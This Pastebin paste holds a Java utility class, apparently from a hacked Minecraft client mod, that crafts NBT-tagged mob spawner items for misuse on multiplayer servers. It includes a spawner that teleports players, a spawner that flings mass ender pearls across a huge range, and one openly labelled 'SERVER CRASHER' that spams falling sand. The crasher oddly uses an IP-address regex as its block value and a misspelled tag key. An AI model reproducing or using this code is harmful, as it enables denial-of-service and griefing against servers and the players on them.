TNT_Block

HackedItemUtils

Jun 5th, 2019
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.27 KB | None | 0 0
  1. package de.tnt_block_unkown.tntmod.utils;
  2.  
  3. import net.minecraft.init.Blocks;
  4. import net.minecraft.item.Item;
  5. import net.minecraft.item.ItemStack;
  6. import net.minecraft.nbt.NBTTagCompound;
  7. import net.minecraft.nbt.NBTTagDouble;
  8. import net.minecraft.nbt.NBTTagList;
  9.  
  10. public class HackedItemUtils {
  11. public static ItemStack generateTeleportSpawner(String owner, double x, double y, double z) {
  12. ItemStack itm = new ItemStack(Blocks.mob_spawner);
  13. NBTTagCompound base = new NBTTagCompound();
  14. NBTTagCompound blockEntityTag = new NBTTagCompound();
  15.  
  16. blockEntityTag.setString("EntityId", "ThrownEnderpearl");
  17. blockEntityTag.setInteger("SpawnCount", 1);
  18. blockEntityTag.setInteger("SpawnRange", 1);
  19. blockEntityTag.setInteger("RequiredPlayerRange", 20);
  20. blockEntityTag.setInteger("MinSpawnDelay", 5);
  21. blockEntityTag.setInteger("MaxSpawnDelay", 5);
  22. blockEntityTag.setInteger("MaxNearbyEntities", 20);
  23.  
  24. NBTTagCompound spawnData = new NBTTagCompound();
  25.  
  26. spawnData.setByte("shake", (byte) 0);
  27. spawnData.setString("ownerName", owner);
  28.  
  29. NBTTagList pos = new NBTTagList();
  30. pos.appendTag(new NBTTagDouble(x));
  31. pos.appendTag(new NBTTagDouble(y));
  32. pos.appendTag(new NBTTagDouble(z));
  33.  
  34. spawnData.setTag("Pos", pos);
  35.  
  36. blockEntityTag.setTag("SpawnData", spawnData);
  37. base.setTag("BlockEntityTag", blockEntityTag);
  38.  
  39. itm.setTagCompound(base);
  40.  
  41. return itm;
  42. }
  43.  
  44. public static ItemStack generateSpielerWirbler(String owner, double y) {
  45. ItemStack itm = new ItemStack(Blocks.mob_spawner);
  46.  
  47. NBTTagCompound blockEntityTag = new NBTTagCompound();
  48. blockEntityTag.setString("EntityId", "ThrownEnderpearl");
  49. blockEntityTag.setInteger("SpawnCount", 500);
  50. blockEntityTag.setInteger("SpawnRange", 50);
  51. blockEntityTag.setInteger("RequiredPlayerRange", 5000);
  52. blockEntityTag.setInteger("MinSpawnDelay", 5);
  53. blockEntityTag.setInteger("MaxSpawnDelay", 5);
  54. blockEntityTag.setInteger("MaxNearbyEntities", 5000);
  55.  
  56. NBTTagCompound spawnData = new NBTTagCompound();
  57. spawnData.setByte("shake", (byte) 0);
  58. spawnData.setString("ownerName", owner);
  59.  
  60. NBTTagList motion = new NBTTagList();
  61. motion.appendTag(new NBTTagDouble((double) 0.0D));
  62. motion.appendTag(new NBTTagDouble((double) y));
  63. motion.appendTag(new NBTTagDouble((double) 0.0D));
  64.  
  65. spawnData.setTag("Motion", motion);
  66. blockEntityTag.setTag("SpawnData", spawnData);
  67. itm.setTagInfo("BlockEntityTag", blockEntityTag);
  68. itm.setStackDisplayName("§4TNTModSpawner: " + "§6Owner: §f" + owner + " | §6Höhe: §f" + String.valueOf(y));
  69. return itm;
  70. }
  71.  
  72. public static ItemStack generateStandartSpawner(String entity, int count, int range, int playerrange, int delay, int mindelay,
  73. int maxdelay, int maxnearbyentitys) {
  74. ItemStack itm = new ItemStack(Blocks.mob_spawner);
  75.  
  76. NBTTagCompound blockEntityTag = new NBTTagCompound();
  77. blockEntityTag.setString("EntityId", entity);
  78. blockEntityTag.setInteger("SpawnCount", count);
  79. blockEntityTag.setInteger("SpawnRange", range);
  80. blockEntityTag.setInteger("RequiredPlayerRange", playerrange);
  81. blockEntityTag.setInteger("Delay", delay);
  82. blockEntityTag.setInteger("MinSpawnDelay", mindelay);
  83. blockEntityTag.setInteger("MaxSpawnDelay", maxdelay);
  84. blockEntityTag.setInteger("MaxNearbyEntities", maxnearbyentitys);
  85.  
  86. itm.setTagInfo("BlockEntityTag", blockEntityTag);
  87. itm.setStackDisplayName("§4TNTModSpawner: " + entity);
  88.  
  89. return itm;
  90. }
  91.  
  92. public static ItemStack generateFallingSandServerStopper() {
  93. ItemStack itm = new ItemStack(Blocks.mob_spawner);
  94.  
  95. NBTTagCompound blockEntityTag = new NBTTagCompound();
  96. blockEntityTag.setString("EntityId", "FallingSand");
  97. blockEntityTag.setInteger("SpawnCount", 500);
  98. blockEntityTag.setInteger("SpawnRange", 50);
  99. blockEntityTag.setInteger("RequiredPlayerRange", 5000);
  100. blockEntityTag.setInteger("MinSpawnDelay", 5);
  101. blockEntityTag.setInteger("MaxSpawnDelay", 5);
  102. blockEntityTag.setInteger("MaxNearbyEntities", 5000);
  103.  
  104. NBTTagCompound spawnData = new NBTTagCompound();
  105. spawnData.setString("Block",
  106. "((25[0-5]|2[0-4][0-9]|[0-1][0-9]{2}|[1-9][0-9]|[1-9])\\.(25[0-5]|2[0-4]"
  107. + "[0-9]|[0-1][0-9]{2}|[1-9][0-9]|[1-9]|0)\\.(25[0-5]|2[0-4][0-9]|[0-1]"
  108. + "[0-9]{2}|[1-9][0-9]|[1-9]|0)\\.(25[0-5]|2[0-4][0-9]|[0-1][0-9]{2}" + "|[1-9][0-9]|[0-9]))");
  109. spawnData.setInteger("Data", 0);
  110. spawnData.setInteger("Time", 1);
  111. spawnData.setInteger("DropItem", 0);
  112.  
  113. blockEntityTag.setTag("SpawnDat", spawnData);
  114. itm.setTagInfo("BlockEntityTag", blockEntityTag);
  115. itm.setStackDisplayName("§4§l§oSERVER CRASHER! ACHTUNG");
  116. return itm;
  117. }
  118.  
  119. public static NBTTagCompound generateRidingFlyCompound() {
  120.  
  121. NBTTagCompound riding = new NBTTagCompound();
  122. riding.setString("id", "Bat");
  123. riding.setInteger("Silent", 1);
  124.  
  125. NBTTagList activeEffects = new NBTTagList();
  126.  
  127. NBTTagCompound invis = new NBTTagCompound();
  128. invis.setInteger("Id", 14);
  129. invis.setInteger("Amplifier", 0);
  130. invis.setInteger("Duration", 2147483647);
  131. invis.setByte("ShowParticles", (byte) 0);
  132.  
  133. activeEffects.appendTag(invis);
  134. riding.setTag("ActiveEffects", activeEffects);
  135. return riding;
  136.  
  137. }
  138.  
  139. public static ItemStack generateFlyItems(String item) throws Error {
  140. Item fromMC = Item.getByNameOrId(item.toLowerCase());
  141. if (fromMC != null) {
  142. ItemStack itm = new ItemStack(Blocks.mob_spawner, 1, 0);
  143.  
  144. NBTTagCompound blockEntityTag = new NBTTagCompound();
  145. blockEntityTag.setInteger("SpawnCount", 5);
  146. blockEntityTag.setInteger("SpawnRange", 2);
  147. blockEntityTag.setInteger("MaxNearbyEntities", 5);
  148. blockEntityTag.setInteger("Delay", 5);
  149. blockEntityTag.setString("EntityId", "Item");
  150.  
  151. NBTTagCompound spawnData = new NBTTagCompound();
  152.  
  153. NBTTagCompound spawnItem = new NBTTagCompound();
  154. spawnItem.setString("id", item.toLowerCase());
  155. spawnItem.setInteger("Count", 1);
  156.  
  157. spawnData.setTag("Item", spawnItem);
  158. spawnData.setInteger("Age", -32768);
  159. spawnData.setInteger("PickupDelay", 32767);
  160. spawnData.setTag("Riding", generateRidingFlyCompound());
  161.  
  162. blockEntityTag.setTag("SpawnData", spawnData);
  163. itm.setTagInfo("BlockEntityTag", blockEntityTag);
  164. itm.setStackDisplayName("§6Flying: " + Character.toUpperCase(item.charAt(0)) + item.substring(1));
  165. return itm;
  166. } else {
  167. throw new Error("Item nicht gefunden!");
  168. }
  169. }
  170. }
Add Comment
Please, Sign In to add comment